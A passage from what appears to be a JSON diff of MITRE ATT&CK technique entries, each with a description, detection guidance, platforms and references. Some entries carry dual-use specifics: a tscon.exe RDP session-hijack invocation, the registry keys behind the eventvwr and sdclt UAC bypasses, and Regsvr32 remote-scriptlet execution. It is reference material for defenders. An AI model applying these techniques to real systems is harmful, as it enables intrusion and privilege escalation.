running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman", + "value": "Masquerading - T1036", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1036", + "https://www.endgame.com/blog/how-hunt-masquerade-ball", + "https://www.f-secure.com/documents/996508/1030745/CozyDuke", + "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/", + "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "https://vms.drweb.com/virus/?i=4276269" + ], + "external_id": "T1036", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting", + "value": "DLL Side-Loading - T1073", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1073", + "https://msdn.microsoft.com/en-us/library/aa375365", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" + ], + "external_id": "T1073", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes", + "value": "Automated Exfiltration - T1020", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1020" + ], + "external_id": "T1020", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Network Service Scanning - T1046", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1046" + ], + "external_id": "T1046", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "Process command-line parameters", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution", + "value": "Replication Through Removable Media - T1091", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1091" + ], + "external_id": "T1091", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement", + "mitre-attack:enterprise-attack:credential-access", + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward", + "value": "Remote Desktop Protocol - T1076", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1076", + "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", + "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/nccgroup/redsnarf" + ], + "external_id": "T1076", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", + "value": "Scheduled Transfer - T1029", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1029" + ], + "external_id": "T1029", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith", + "value": "Bypass User Account Control - T1088", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1088", + "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", + "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", + "https://msdn.microsoft.com/en-us/library/ms679687.aspx", + "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html", + "https://github.com/hfiref0x/UACME", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", + "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", + "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + ], + "external_id": "T1088", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "System calls", + "Process monitoring", + "Authentication logs", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include Exploitation for Defense Evasion.\n\nFor websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)\n\nDetection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application logs, Packet capture, Web logs, Web application firewall logs", + "value": "Exploit Public-Facing Application - T1190", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1190", + "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", + "https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project" + ], + "external_id": "T1190", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Application logs", + "Packet capture", + "Web logs", + "Web application firewall logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts", + "value": "Logon Scripts - T1037", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1037", + "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", + "https://support.apple.com/de-at/HT2420" + ], + "external_id": "T1037", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ] + }, + "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson", + "value": "Connection Proxy - T1090", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1090", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1090", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith", + "value": "Regsvr32 - T1117", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1117", + "https://support.microsoft.com/en-us/kb/249873", + "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html", + "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/" + ], + "external_id": "T1117", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Process command-line parameters", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls", + "value": "File and Directory Discovery - T1083", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1083", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ], + "external_id": "T1083", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nDetection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention\n\nPermissions Required: Administrator, SYSTEM", + "value": "Extra Window Memory Injection - T1181", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1181", + "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", + "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", + "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" + ], + "external_id": "T1181", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0" + }, + { + "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator", + "value": "Create Account - T1136", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1136", + "https://docs.microsoft.com/windows/device-security/auditing/event-4720" + ], + "external_id": "T1136", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", + "value": "Commonly Used Port - T1043", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1043", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1043", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach", + "value": "Data Encoding - T1132", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1132", + "https://en.wikipedia.org/wiki/Binary-to-text%20encoding", + "https://en.wikipedia.org/wiki/Character%20encoding", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1132", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process Monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof 